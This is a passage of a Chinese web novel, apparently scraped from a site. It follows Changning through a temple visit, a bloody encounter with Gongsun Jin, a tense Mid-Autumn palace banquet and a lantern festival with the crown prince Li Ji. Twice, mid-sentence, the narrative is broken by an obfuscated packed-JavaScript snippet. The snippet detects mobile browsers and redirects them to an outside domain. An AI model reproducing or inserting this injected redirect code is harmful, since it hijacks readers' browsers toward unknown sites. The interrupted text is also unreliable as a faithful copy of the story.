孟学洲摇头：“我去云栖寺。与我同行？” “为什么？”常宁挑眉，“我要护送姐姐到无相寺。” “无相寺求姻缘和子嗣最灵验，”孟学洲微笑，“但论起吉凶和前程，还是云栖寺更胜一筹。何况云栖寺只是略逊于无相寺，实力还是有的。” 常宁眸光一亮，“等我问问姐姐。” “姐姐姐姐！” 常瑛回眸，“这是怎么了？” 常宁道：“我们要不要去云栖寺？” “好。” 常宁掰着指头数，“咱们又不用求姻缘，算子嗣哪里有算算姐姐近日的运数好……欸？姐姐你答应了？” 常瑛眼里闪过笑意，“有宁宁在，去哪里都一样。” 常宁耳廓染上粉意，蹭得钻出去，“姐姐我走啦。” 常瑛抚着盛放香火钱的檀木盒，低垂的眼眸中泛起一丝哀愁，端坐在马车中，寂静无声息。 “姐姐，我也喜欢和你玩。”常宁探头进来，飞快说完，坐在车辕左侧，看车夫赶车。 常瑛莹白面庞浮上温柔的笑，“外面日头大，你进来吧。下个月，你还来找我吗？” “当然，”常宁道，“我每个月都有来找姐姐的。姐姐下个月要去哪里？” 常宁嘟囔，“我们两个从小就在京城，要说京城附近，早就玩遍了。我听侍玉说，他少时就背着剑一路从南往北，跋山涉水，到了西北茫茫大漠之中，壮景幽情，三天三夜都没法尽数诉诸于口。” 常瑛语带憧憬，“果真如此？风月城里有件至宝，能将百里外的事物看得一清二楚，可也是真？” “侍玉告诉我的，应该是真的吧，”常宁疑惑，“姐姐，这是什么宝物呀？我从没听过。” 常瑛笑道：“我也是偶然听人提起，兴许是骗我的。” 云栖寺不远，中午就到了。常宁和孟学洲骑马走在前面，远远就望见山门前的长阶上或坐或躺着许多人。 常宁心下有些紧张，正要上前探一探，在附近的粥棚里望见自家熟人，“怎么回事？” “又见面了，少爷，”管事热切一笑，“前些日子白石堤溃堤，冲毁了些房屋。寺里的师傅腾了客舍，暂且算作住所，夫人就派我过来这边接着施粥。” “还没好吗？”常宁记得这事，但印象里已经是许久之前了。 孟学洲温声道：“既然不是匪徒，我们就进去吧。” 常宁只得作罢，跨过山门前，回头扫了一眼，和孟学洲分别，跟着姐姐到大殿里去。 午后，常宁刚出寮房，就撞上散心赏竹的孟学洲，“我这里的竹子比其他地方好看吗？” “无甚不同，”孟学洲笑笑，“随我走走。” 他看起来对云栖寺很熟悉，一路弯弯绕绕，连重重林木间的小径都一清二楚。 山里蚊虫众多，常宁还看到草丛里几条青蛇。孟学洲递过来一个祛虫的香囊，带着常宁往山上走。 石阶上生着青苔，一阶阶爬上去，常宁腿都有些酸软，和孟学洲闲聊解闷。 到了山顶，果然开阔，能将整座山尽收眼底。在山下仰望，只能看到山顶影影绰绰有一座小庙，上来才知道这座庙宇的宏大。 庙旁一块石碑，老僧在庙后结庐，平日里只有他一个人守在这儿。 碑上字迹犹新，孟学洲字字顿郁地念了一遍，“这是陛下刚即位时立下的，距今已有好些年头。” 他没继续说，常宁却明了他的意思，微一颔首，“我们下山吧。” 这块碑文，常宁只粗粗看了一遍，也能体会到立碑时庆和帝的意气风发和囊括四宇的野望。现如今岁月流逝，他早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515327|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已不复当初，不再挑起江山社稷，转而求仙问道。 但这已经不是他们所能置喙的。 孟学洲引着常宁往山的背面走，“这边景致也不错，不妨来看看。这些天江湖上那桩案子，其实已经有了眉目。” 常宁笑笑，看着四周的花草，“我不想听这个。” “那我换一个，”孟学洲道，“近来江湖上有位蒙面杀手，据说一万两银子买一人的项上人头，至今从未有败绩。” 常宁惊讶，“如此目无王法？” 孟学洲：“他从来不动朝廷官员，只针对江湖人，朝廷懒得管。” 常宁一派懒散，“这样啊。” 孟学洲看常宁两眼，继而看前方，“他们想做游侠，但如今已不是游侠的天下。除暴安良，连朝廷都不能做到尽善尽美，岂知他们就没有私欲？没人能越过官府和律法了解大魏百姓的性命，若有这个人，那必然是贼而非侠。” 常宁夸道：“几个月不见，你变化这么大。” “这是殿下说的，”孟学洲罕见地肃了脸，“常宁，不要避重就轻。” 常宁皱眉，“你说什么？” 孟学洲停下，“你的处境很危险。再不改变，你没办法再待在京城。” 常宁爹娘本就不打算在京城多待，闻言也不甚在意，随意摆了摆手，“在哪里都一样。” 孟学洲闭眸，“难道京城里，就没有你留恋的人？” 常宁道：“终有一别。” 孟学洲回首，双手摁在常宁肩上，眉眼英挺，直视常宁，“昔年与我同窗赋诗、高谈阔论的人，真的还在吗？” 常宁余光瞥向他的手，轻轻打开了，“你们变了，我没有变，但这并不意味着我必须也要做出改变。这选择应当在我手上。” 望着常宁的背影，孟学洲低声问：“你不后悔吗？” 常宁：“这是我的事。” 从后山绕下来，常宁紧攥的拳头渐渐松开。 等夏天过去，云策也不会再回御书房了。 同窗各奔前程，孟学洲邀常宁入伙，常宁不能答应。 若说不甘，确有一丝。然而相比起另一个代价，常宁更愿意接受如今的现状。 左不过是，两害相权取其轻。 40. 中秋 与孟学洲分别后，常宁一个人在后山转悠，进了几座古刹，和守刹师傅闲谈几句，准备到前殿找常瑛。 不巧路上下了雨，常宁只好半道避雨，进了一座略有些陈旧的小院。 雨声风声大得惊人，四处都是噼啪雨声和林木弯折声，树枝应声而断，窗扉年久失修，在风雨中吱呀作响。 常宁侧身从门缝里钻进去，走的是后门，方才绕到廊下，眸光一凝。 耳边不只是风雨声，更有打斗声，只是电闪雷鸣听不清晰。如今到了廊下，常宁晃过一眼，背靠粗柱掩藏身影。 哀嚎怒骂和刀剑刺入血肉的声音离常宁愈发近，一条缠杂色布的短腿飞到常宁旁边，渐起泥水，鲜红的血液霎时染红一片水洼。 声息渐消，只余下一人的脚步声，如鬼魅一般轻，每一步都如同丈量过，冰冷入骨，朝着常宁而来。 在公孙瑾走近之前，常宁先一步从柱后出来，脸上犹带雨珠，“我不会说出去的。” 看到常宁的一刻，公孙瑾脸色难看得要命，手背和额头浮起青筋，紧握剑柄，深吸一口气，背过身朝外走。 遍地尸骸血水，林木被阴沉的雨带出黏腻的幽绿，风一吹更是冷得哆嗦，常宁道：“你回来吧，等雨停了再走。” 公孙瑾充耳不闻，待身后传来踏雨声，调转步子，阔步上前，越过常宁走回廊上，“别愣在雨里。” 常宁拿帕子擦了擦眼周的水，院子里的断肢残骸更清晰地映入眼底，乃至身旁冷郁的公孙瑾，都与先前嗜血修罗一般的恶影重合。 公孙瑾面无表情，“你后悔了？” 知道他的真面目，目睹他的凶残，终于明白他应当远离他？ 又有什么能补救呢？即便是在雨里冲刷过，站在常宁身侧，公孙瑾的衣袍也依旧淌着深浅不一的血水，源源不断。 常宁面上也没有笑意了，抿唇沉默着，不时拿帕子擦眼。 公孙瑾牵唇，“晚了。” 从常宁数年前救下他那一刻起，他就注定不会放弃常宁。哪怕常宁抛弃他，哪怕常宁会对他目露厌恶。 若他是恶鬼，常宁便是他唯一的执念，魂飞魄散，在所不惜。 常宁抬眸，眼眶湿润，“对不起。” 公孙瑾语气冷硬，强压下心中叫嚣着要他移开视线的痛，迫使自己直直看向常宁：“我不会杀你，不必逢场作戏。” “是我疏忽了，”单看院中的尸体，就知战况之激烈，常宁目光落在公孙瑾身上大大小小的伤口上，见他绷着唇，抓起他冰凉的手，抬指擦去伤口外围的血水，“很疼吧？” 常宁努力回忆，上一次她和公孙瑾好好说话，是什么时候呢？距今似已有两月了，那时她问公孙瑾在龙禁尉过得如何，可有短缺。 她怎么就没想起来多问一句呢？龙禁尉那血洗的地，公孙瑾有没有受欺负，有没有受了委屈？ 他说话虽难听，却没做过坏事，常宁路见不平，他在时也总会暗地里搭一把手。常宁早上到御书房，案上会摆着稀奇古怪的有趣玩意。 从什么时候开始不对呢？是公孙瑾在假山时的失态，还是数日前面对栽赃毫不反抗的冷漠？ 在常宁看不见的角落里，公孙瑾，她的朋友，该是咽下了多少苦楚，才举起屠刀杀人如麻？ 公孙瑾：“小伤而已。”被握住的手不敢动弹一分一毫，他抬起另一只手来推常宁，“我不是你羽翼下的可怜虫，我会……” 常宁滚烫的泪珠一颗颗砸在公孙瑾手上，公孙瑾未尽的话语再也无法说出口，唇瓣翕动。 “他们是谁？你是不是被威胁了？” 望进常宁真挚的眼眸，公孙瑾仿佛回到了从前的岁月，回到了那段相知相近的时光。他胸中涌上一股全盘托出的冲动，“江湖上的刺客罢了。” “你骗我，”常宁十分敏锐，“他们都是京城口音，根本不是从五湖四海来的江湖人。” “不管发生了什么，我只希望你能珍爱你的生命。” 公孙瑾按着剑柄的手不断去拨剑箍，移开视线，“恐怕要你失望了。我便是这样一个人，即使翻身的证据摆在眼前，也不会试图去反抗，因我便是如此懦弱无能、无情无义。你若识相，就离我远些。” 雨花飞溅，常宁满心戚然。 分明不过是短短数日，却如同天翻地覆，每个人都扑朔迷离起来。姐姐新婚，却藏有心事，闷闷不乐；孟学洲远走西南归来，故意引常宁到山顶、引常宁撞见公孙瑾；公孙瑾也一派排斥，活像揣着莫大的秘密，为此宁愿刺字流放、自诋自毁；李稷神神秘秘，同窗各奔前程、各寻出路…… 一场看不见的风雨正笼罩在京城上空，常宁相熟的人几乎都在为此做准备，连爹娘院里的烛火都燃得比往日更晚。常宁根本就找不到自己的位置，不能如往常一般潇潇洒洒，也不能像同窗们一样谋求前程。 京城根本就没有她的前路。 什么学而优则仕、什么达则兼济天下，根本就是骗人的鬼话，连圣天子都是一副恶相。 “你是我的朋友，”常宁收拾好情绪，“如果有一天，你宁愿远离挚爱，宁愿接受最抵抗之事，我相信你是被逼无奈。” 既然京城望不见前路，无可奈何之事，何必挂心？倒不如继续逍遥快活。 公孙瑾脚尖小幅度挪动，眺望雨势，无动于衷，连眼角余光都不落在常宁身上。 “别不高兴了，”常宁的脸骤然在公孙瑾面前放大，伸手在他眼前挥了挥，“你带火折子了吗？我们生个火，好冷的。” 火折子险些浸水擦不着，公孙瑾试了好一会儿，终于把火生起来了。 常宁小声道：“你这在雨里待得可真够久的哈。” 公孙瑾不语，抱剑盘腿端坐在蒲团上。常宁拧了拧衣服上的水，凑到火边烘衣裳，翻出来荷包里的果脯，塞给公孙瑾几块，自己也嚼着吃起来。 “不要相信任何人。” 常宁抬头。公孙瑾看着火堆，仿佛刚刚讲话的人不是他。常宁问：“你还要去西北吗？那我先前是不是坏了你的事？” “不算，”公孙瑾道，“只是离开前再反击一次罢了。” 常宁拧眉：“我还可以和殿下来往吗？” “随你，”公孙瑾看来一眼，敛眸道，“但我不建议。” 他补充，“当然，如果不得不做出选择，殿下还是很好的。” 常宁笑道：“谢谢你，我明白了，也祝你一切顺利。” 公孙瑾道：“老朋友了，谢什么谢。作为代价，我不在的这段时间里，你帮我保证我母亲的安全。” “我一早就这样想，”常宁更惊讶，摸摸自己脑袋，确认没发热，不是她听错了，“你居然变正常了！” 公孙瑾眉头紧皱，别过眼去，“你这副没见过世面的样子，还真是难看。” 常宁大为感动：“太对了！” 这种让人拳头发硬的味道，这才是公孙瑾，而不是变态的假断袖。 常宁喃喃道：“我都没想到你还有恢复正常的一天！” 外面雨停了，公孙瑾提剑削了根木拐给常宁，“回去吧，记得你答应我的事。” “一定不会忘，”常宁的鞋底总是被泥泞沾着，又黏又滑，还好有木拐借力。走出一阵，常宁回头，“不过你可得好好活着，我不能一直帮你保护你母亲，最后还是要你自己来。” “知道了，烦死了，快走吧。” 公孙瑾催促，看着常宁的背影一点点变小，直至消失不见。 他闭眼。 根本就忘不掉。 …… 云栖寺的难民是前段时间决堤才被迫来这里的，距今已经有好一段时间。 庆和帝不重视。他只在乎这些人会不会威胁到他的统治，因而在最初的震惊过后，知晓这些人并不足以成大气候，就渐渐放手。 不能在庆和帝面前出风头，二皇子拒绝干这样出力不讨好的差事。三皇子倒是想来历练，但他养尊处优，如今又是躁热的时候，皇后舍不得他出来。当然，皇后也没阻止，三皇子出门不到两个时辰，就热得又回宫了，连补给都没送到。 上面没人在意，若是寻常，李稷要管，几百人的小灾，户部定然愿意拨款。但正巧赶上庆和帝要建接仙台，又提拔了一位国师，广招方士，户部入不敷出，给天子凑钱都急得团团转，对赈灾自然是能拖就拖，省一笔是一笔。 依照常宁的猜测，救灾的银子大概是李稷从私库里拨的，再加上她家也一直关注着。 李稷在皇族里是很节俭的。美名的背后也有代价，在奢靡享乐的庆和帝眼里，这个过于节俭的儿子已经提前走上了与他作对的道路，一如所有年迈的帝王对正值壮年的太子的猜忌，并且这猜忌在日益放大。 常宁讨厌朝廷里那些弯弯绕绕，也懒得去分析几个皇子背后的势力和庆和帝的态度，也能从难民的赞美声中知道李稷并不简单。 他能拿出这些银子来救济灾民，还如此低调，只能说明这些银子对他来说还不够放进眼里，否则一定会大张旗鼓收买人心，或是请御史上折从庆和帝那里讨赏。 至少在常宁看来，李稷的私产应当能赚不少银子。 公孙瑾有一点没说错，如果走不出京城，在三位皇子里，常宁更倾向于选择李稷。 常宁揉揉头发，更苦恼了。 李稷应该不想再看见她了吧？ …… 时近中秋，常宁和常瑛没在云栖寺多待，第二天上午就返程。 常瑛取了四枚平安符，装在青鱼荷包里，自己留了一枚，取出一枚给常宁。 常宁惊喜：“哇，我也有！” “当然。”常瑛眸光柔和。 马车一个咯噔，倒向一边。常宁伸手挡了一下，没让常瑛碰到脑袋，跳下马车查看。 昨天雨下得太大，路上泥泞，土坑里填了泥水，看不清深浅，右边车轮大半栽在水坑里，车夫和护卫试着抬了抬，马车还是出不来。 贺清和妹妹还在云栖寺，常宁和常瑛在一旁等着。车夫经验丰富，立马指挥人去搬石头做支点。 哒哒的马蹄声传来，拐角处转出来一队神采奕奕的劲装青年，为首方脸浓眉、目若星子的人，正是和常宁有过一面之缘的周盟主。 “吁–” 周盟主翻身下马，红披风荡出干练的弧度，大致瞧过一眼，吩咐身后门人过来帮忙。 有他们搭手，仅是蛮力都够抬着马车走出一段，惊呆了车夫。 常宁上前道谢。 周盟主豪爽地挥手，“路见不平罢了，不必多礼。此处到京城还有十多里路，我方才一路行来，路况并不好。这样，我点几个人，护送你们到京城。” 看出姐弟二人的犹疑，周盟主笑道：“路滑，我这些人都是好手，风里来雨里去，权当送你们一场。” 常瑛目露感激，“多谢相助。不知你们住在何处？改日我们登门道谢。” 周盟主简短地答了，从怀里掏出一把短匕首，振臂递到常宁面前，“宝刀赠英雄。小兄弟神清骨秀，天纵英才，我这边虽没有宝刀，却也有一柄削铁如泥的短刃，最方便随身携带，遇险情兴许有用。” 常瑛翠袖轻抬，掩唇腼腆地笑，“我家宁宁是个天纵奇才？” “是，”周盟主面不改色，“宁弟这等天姿，周某生平罕见。” 常宁就眼睁睁看着本来不应该收的匕首到了她手里。常瑛话也渐多起来，满面春风，和周盟主一人一句地夸她，还声称要带重礼拜访周盟主。 拜托，常宁几斤几两，她自个还是清楚的！ 常宁生平头一次被夸到面红耳赤，偏偏常瑛和周盟主如同千里逢知音，常宁试着叫了好几次，都没能打断。 周盟主道：“我家里有一门绝学，与短刃配合起来最妙。宁弟骨骼清奇，我有意传于宁弟，不知宁弟是否愿意？” “不愿意！”常宁满脸不可置信，果断拒绝，“我没有哥哥。” 常瑛有意让常宁学一学，但常宁抵抗，也便咬唇，饱含歉意。 不等常瑛开口，周盟主抬手，爽朗笑道：“小事。日后你们若有意，就来找我，我随时恭候。” 常瑛更觉愧疚，态度愈发柔和。常宁在一边踢石子，悄悄给周盟主起了个马屁精的绰号。 可恶，心机深沉的狡诈之徒，明明几天前还故意灌她酒，今天就能违心夸她！ …… 中秋佳节，宫里张灯结彩，琉璃瓦映照着烛光，波光溶溶，宛如人间仙境。 舞姬翩翩起舞，琴师指下流出仙音。往日属于朝廷重臣的席次，现今被一群仙风道骨、身着道袍的方士取代，仅次于诸位皇子皇女。 无论众人心内作何感想，面上都是和气的笑，变着花样吹捧庆和帝。 国师须发皆白，灰蓝道袍飘飘若仙，面容也如同世外高人，悲悯而不失威严，听着众臣的恭维，一撩袍出列，面向庆和帝，“恭喜陛下，贺喜陛下！今年收成比往年多，收上来的赋税一定也比往年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538182|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高。” 庆和帝扶着把手，回眸与皇后对视，在后妃和臣子的笑里展露笑颜，“是极，是极！” “来人，歌舞助兴！” 国师笑道：“伶人低贱，大喜的日子，不如让身份高贵的少爷小姐献些才艺，贫道趁势为陛下祈福。” 庆和帝大手一挥，爽快准允，“丞相，你是朕的肱股之臣，便你家先来吧！” 丞相微笑，不卑不亢地婉拒，“陛下，臣的儿女顽劣不堪……” 他话没说完，国师便接道：“陛下仁义，祈福只奖不罚。丞相大人如此抗拒，难不成要你的儿女给陛下祈福，还屈就了不成？” 丞相如何答话，常宁便没有再听了。姜夫人在案下紧紧抓握住常宁的手，和英国公一左一右将常宁护在中间。 每个人都在笑，常宁四顾，她爹娘面上也是喜庆的笑意，但只有常宁才知道他们有多焦灼。李稷神色如常，常宁从他的细微举动里读出一丝冰冷，似乎在极力忍耐。 即便是仓促之间上场，这些少爷小姐也各显神通，堪称精彩。唯一的不妙之处，便是国师又提出了喜上加喜。 他拂尘所指，便有少年男女接下赐婚圣旨，或是泪眼朦胧，或是相看两厌，更甚两家为世仇。而他似乎也极乐意欣赏这些年轻人的痛苦和他们父母的敢怒不敢言，唇角翘起，目含笑意。 姜夫人握着常宁的手愈发紧，常宁反握回去，小声道：“娘，没事的。” 内侍很快唱到了常宁。常宁拿笛子吹了首贺曲，无功无过，力求隐没于众人。 国师开口：“曲如其人，不错不错。”他眼皮都不抬，随意一指，指向宋御史家的席位，“贫道掐指一算，你二家相合，正可喜结连理。” 宋御史撸袖子，蹭得站起来，“陛下，此举实在有违人伦纲常，万万不可！国师媚上欺下，微臣恳请陛下圣裁！” 他和夫人只有独子宋念辞，常宁又是英国公夫妇独子，言何喜结连理，简直滑天下之大稽！ 常宁心都快跳到嗓子眼了，故作懵懂茫然样，愣愣站在原地，不知道国师是无心还是有心。 国师笑道：“姻缘天定，何必推拒？” 宋御史气得脸涨红，英国公也站出来，一同跪在殿下，正要合力驳斥，国师却不接，侧身去讨好庆和帝了。 当下满殿寂静。 没人敢打破这寂静。庆和帝已有醉意，神志不清。今夜，常宁和宋念辞不过沦为笑柄。可过了今夜，庆和帝酒醒，知此荒唐事，便是常宁和宋念辞的死期。 常宁指尖微动，扫过不远处同样面色惨白的宋念辞，以及茫然无措的少年男女，不知道如何就到了这地步。 明明他们什么都没做。 “父皇容禀。” 熟悉的清冽嗓音回荡在大殿上，李稷抖了抖衣衫，绕过桌案，在殿下站定，“清河已到待嫁之龄，方才国师所指的两位公子，儿臣曾听德妃娘娘提起过，确实是良才。牵扯到皇族，还需与宗人府叔伯知会一声，不急于一时。” 庆和帝捏着酒杯，醉眼迷离，推开国师，“宗人府呢？叫他们过来！” 李稷道：“夜已深，叔伯们古稀高龄，不如明日再谈。” 庆和帝牵唇一笑，指着李稷，“还是稷儿有孝心，知道体贴叔伯。等你学会了体贴朕，朕才好享人伦之乐。” 一时没人敢说话。 皇帝清醒了，需要台阶下，太子递了台阶，没人再去关注倒霉的常宁和宋念辞，更没人相信清河公主的婚事会与此二人相关。 不过是一场大戏，大家各有各的角色要扮。如今庆和帝借力宣泄不满，太子也只得顺着认错。 李稷最后道：“父皇，您是真龙天子，既是向上天祷告祈福，没人能越过您去。您亲自远处的金童玉女，才能展现最大的诚意，国师远不如您。不如明日焚香进斋，由您再从国师选定的佳人中择出最优者报与上天。” 庆和帝思忖一瞬，“也可。” 百官大大地松了口气，悄悄向李稷投去感激的目光。 只要延后，只要庆和帝酒醒，他们就有操作的空间。 常宁也和英国公回了席次上，手心满是冷汗。 直到现在，常宁还是不明白，国师究竟是随手一指，还是借机震慑？他所点的鸳鸯谱，虽离谱，但却多有朝堂上的关联。 上座的庆和帝突然打碎了酒杯，躬身猛得咳嗽起来，咳得上气不接下气。宫人抚背顺气，庆和帝以帕掩唇。接过帕子的宫人面色难堪，“血，血……” 柳公公很快冷眼制止了宫人，但依旧有臣僚听到、看到。 国师司空见惯，手心托着朱漆盒，露出里面黑乎乎的丹药，“陛下，仙丹。” 宋御史高呼：“陛下不可！” 百官不好再装相，跟着跪下去，“陛下三思！” 乌压压跪了一殿人，庆和帝胸臆翻涌，抚胸指着殿下，“混账，见不得朕好，见不得朕长生不老，见不得朕成仙，都盼着朕山陵崩！” 不顾百官的求饶和苦苦哀劝，庆和帝怒道：“国师，速与朕仙丹！” 国师笑得风轻云淡，缓步向目露渴望热切的庆和帝走去。只余两三步时，斜刺里伸出一只劲瘦有力的手，闲闲撘在他手腕上，却让他寸进不得。 李稷面容冷峻，“退下。” 国师哂笑，依言乖觉退后，不看庆和帝一眼。 可这反而更叫庆和帝恼火。 御医们匆匆赶来，围了庆和帝一圈，伸指要去探脉，被庆和帝粗暴地踹开，踉跄着上前，一掌甩在李稷脸上。 李稷脸都被打偏了，唇角血迹蜿蜒而下，皇后也下意识站了起来。 常宁感到一股腐朽的气息，这腐朽的气息笼罩整个王朝，从皇宫深处源源不断地溢散出来。而这腐朽正来自这个王朝曾经的太阳。 她听到群臣声嘶力竭的祈求和劝谏，甚至她和许多没有官身的少年人也混杂在其中，身旁许多臣子以头抢地，鲜血横流。 二皇子暗恨李稷之得人心，却已经换出来一副沉痛模样，膝行上前抱住庆和帝一条腿，依照孝悌之道扮演一个忧心兄长的好弟弟、关切父皇的好儿子。 有了答案，三皇子立马照抄，抱住庆和帝另一条腿。相对于二皇子的苦情戏，三皇子多了几分真情实感，哭得眼泪鼻涕横流，抹在庆和帝龙袍上，气得庆和帝一脚一个想踹飞他们，苦于身体被他们死死挡住。 最终他也只是愤而离席，将太子痛骂一顿，并在离席之前赶了太子出去。 41. 灯会 一场宴席不欢而散。 常宁方才出殿，就被小太监拦住，说是有位贵人要见常宁。英国公和姜夫人自然不愿意，然而小太监态度强硬，俨然一副背后有靠山的模样，常宁不想爹娘为难，“爹，娘，你们在外面等我，我去去就回。” 皇宫里的贵人，除了那几位，还能有谁呢？ 假山掩映，空旷幽静，贺成华笑眯眯看着被小太监领过来的少年，目中划过欣赏，“过来坐。” 他是个武将，素爱标榜自己与文人不同，大马金刀地坐着，拎着酒坛灌酒，斜眼看常宁，吁叹道：“马革裹尸，壮士死而无憾矣！” 说完这话，贺成华便觑眼看常宁，见常宁不搭话，只是微微笑着装傻，也便暗示道：“只可惜，寒冬将至，将士们的冬衣还没有着落。” 常宁秀眉攒动，脸皱巴成一团，仰天叹出一口长气，“真是忧心。” 贺成华笑道：“银子的问题，你家最擅长。你有何见解？” “这……”常宁为难，“我也不知道。您知道的，我会花钱，却赚不到钱。” 少年懵懵懂懂，眸光清澈，站在那儿满是青春秀气。贺成华一时分不清常宁是真听不懂还是装傻，“常言道，直如弦，死道边。曲如钩，反封侯。你再回去，好好想想。” 常宁问：“你要我写策论吗？” 贺成华气笑了。他再看不出来，就是他傻，“原话告诉你爹娘，你爹娘自然知道怎么做。” 常宁垂下头，眼睫剪碎了烛光，在眼下打下一片阴影，指骨轻轻地动着。 以往二皇子也暗示着要过银钱，往往由手下小官派亲信出面，收了钱再孝敬给二皇子。 每年给皇子和庆和帝留的银子，占很大一笔支出，都是她娘辛辛苦苦挣来的。前不久才给过二皇子，常宁不明白，他有什么用钱的地方，要拿这么多银子？ 贺成华不耐烦：“给将士做冬衣，又不是拿来挥霍，活像逼你似的。” 可冬衣自有朝廷安排，常宁家里每年也都会捐银子的，为什么还要额外出银？为什么不经户部也不经庆和帝？这绝不是一笔小数目。 贺成华皱眉，“你不愿意？” 常宁轻轻点头，“愿意的，我回去就转告爹娘。” 清冽的嗓音传来。 “转告什么？” 常宁回头看去，见李稷从山石掩映的青石小道上走下来，身后跟着刘总管和几个侍卫。 他唇角破了皮，血已经止住了，只是右脸颊微肿，几道指痕印在脸上，剑眉英挺，微抬下颌，视线越过行礼的贺成华，落到常宁身上，语气不容置喙，“过来。” 常宁在李稷斜侧方站定。 李稷盯视贺成华：“散宴不出宫，在这里谈什么秘事？” 太子近些年威仪日重，贺成华恭敬回道：“不算秘事，只是见他有趣，想着上门寻他，请他提前告知父母。” “不必了。” 贺成华下意识追问：“殿下这是何意？” 李稷嗤笑：“他没空见你。” 一行人浩浩荡荡离去，贺成华攥拳。 该死的，不是说他们有嫌隙了吗！ 刘总管等人远远坠在后面，常宁回头看了看，几乎要看不见他们。 踏进马车，李稷执卷圈圈画画。宽敞的马车里堆着几个朱漆盒，似乎要送人。 常宁问：“为什么帮我？” “不帮你帮谁？”李稷目中闪过笑意，对上常宁水一样澄澈的弯眸，补充道，“不全是为你。” 常宁眼眶湿热，触及李稷面上刺目的红痕，又觉得说什么都苍白无力。 李稷察觉到了，“又不是挨在你身上，难受什么？今夜孤本就打算出手，有没有你都一样。” 常宁：“没事了吗？” 李稷：“方俞周会收尾。” 常宁还有许多疑惑，比如他现在出宫会不会受罚，以后国师会不会针对他，太多太多，但又问不出口。 李稷将一摞折子推到常宁面前，“无须忧心，孤有把握。” “看吧，不杀你灭口。” 他很少讲冷笑话，常宁心头郁气散了些，弯唇笑笑：“不想看。” 李稷伸手，将常宁的碎发拂至耳后，“孤不会让你出事的。” 常宁眼眶一下就红了，“我也想要你好好的。” 李稷扬唇，“自然。” 他曾以为时间和距离会隔开一切，但垒起的心防都在看到常宁的一瞬间崩塌。 常宁开始谨慎，开始小心翼翼，不再像从前一样光芒四射，如李稷曾设想过的一般阴暗，但李稷却丝毫没有厌恶。 他只知道一点。 他不想看常宁心事重重，他想让常宁一直无忧无虑。 他根本就不了解常宁。但没关系，他们有得是时间。 常宁抬头问：“我能查公孙瑾查的案子吗？” “江湖上的案子？”李稷道，“那是个大麻烦，最好离远些。” “我不怕麻烦，”常宁眼角犹带红晕，眼眸里是少有的坚定，“我想像公孙瑾一样，做一个能被放在眼里的人。” 李稷黑眸深不见底，曲指叩在桌案上，似在思虑。 良久，李稷在常宁的忐忑中摇头，握住常宁的手，“有孤在，不必多虑。” 常宁反握住他，仰头紧紧盯着李稷，“我不会比公孙瑾做得差的。我认得许多人，虽然我不像他们那样突出，但我没有短板，我更适合应对这类事情。”常宁细白的脖颈上沁了汗，“求您给我一个机会，让我试一试。无论成不不成，我都不会让您吃亏的。” 李稷目光落在两人交握的手上。 常宁连忙松开，见他手上被她弄出了红痕，低声失落道：“对不起，是我太用力了。” “无妨。”李稷望进常宁茶色的清透眼眸，看到一簇若隐若现的微弱火苗。 危机确实使人蜕变，但本能让他否决常宁。 李稷生来就是为了走上那至高之位。他身后站着许多人，能够展露在明面上的，譬如方俞周等人，不过是冰山一角。 将常宁视为厌之则舍的可有可无之人时，李稷愿意为常宁打算，望常宁褪去少年心性，走得更高更远。 要与常宁相伴终生，李稷却无法忍受失去的痛苦。常宁应该借他的势，潇洒富贵，无人敢欺，免于风波和危险，亦不沾染权力。 这是对他和常宁的最优解，能让常宁未来受到的风险降到最低。 但李稷低眸时，对上常宁逐渐黯淡的眸光，牵唇笑了笑，“你兴许什么也得不到，只能无功而返。” 常宁听出他的松动，眸底迸发出亮光，连连点头，“我愿意的。” “随你，”李稷转过头，“何必呢，孤岂会护不住你？” 他脸颊上还残存着指痕，常宁却觉得比平常更顺眼，“我总不能一直被您保护，您不需要这样做的。” 李稷轻哼，“孤忍辱负重，若是连想保的人都保不住，不如早些去见列祖列宗。” 常宁笑笑，“可是殿下，我也有想保护的人。” 李稷心跳漏了一拍，以拳抵唇轻咳一声，忍住去问的念头。若是没他，岂不是自取其辱？ 车马喧嚣，人声鼎沸，处处灯火通明。难得解了宵禁，街道上行人如织，小食、杂耍、首饰、百货，应有尽有。 两人下了马车，几个便装侍卫融进人群，不远不近地跟着。 一个沉冷矜贵，一个青春明亮，二人走在张灯结彩的街道上，纵使行人甚多，也足以引人注目。 便有行人好奇地打量李稷脸上的印子。 刘总管取出早就备下的银色面具，正要送上去，就见李稷手背在身后，对他摆了摆手。无奈之下，刘总管只得看着李稷接过常宁递来的红笑脸面罩，随意地搭在脸上。 刘总管嘴角抽了抽，好险忍住没笑。 李稷嗓音从面罩下传出来，又闷又低沉，“你的审美就这样？” 常宁帮他调整了下，戴正了，笑道：“红红火火，长长久久嘛。” “啧，”李稷弹指击在面罩上，“一般。” 但从他的背影里，又分明是愉悦的。 街上小孩躬身穿梭在人海中，提着灯笼咯咯笑，偶尔会撞在常宁腿上，被常宁扶起来还仰头笑。 灯笼铺上，光如金箔，映照得围来猜谜的行人宛如发着光一般。人太多，常宁和李稷没往酒楼、茶舍、书馆那边的灯会上去，就近找了个猜灯谜的铺子。 摊主笑眯眯站着，“三文钱猜一次，连猜对十道灯谜，钱我全都退回去。中间若是有一次错了，不退钱，再猜从头再来。” 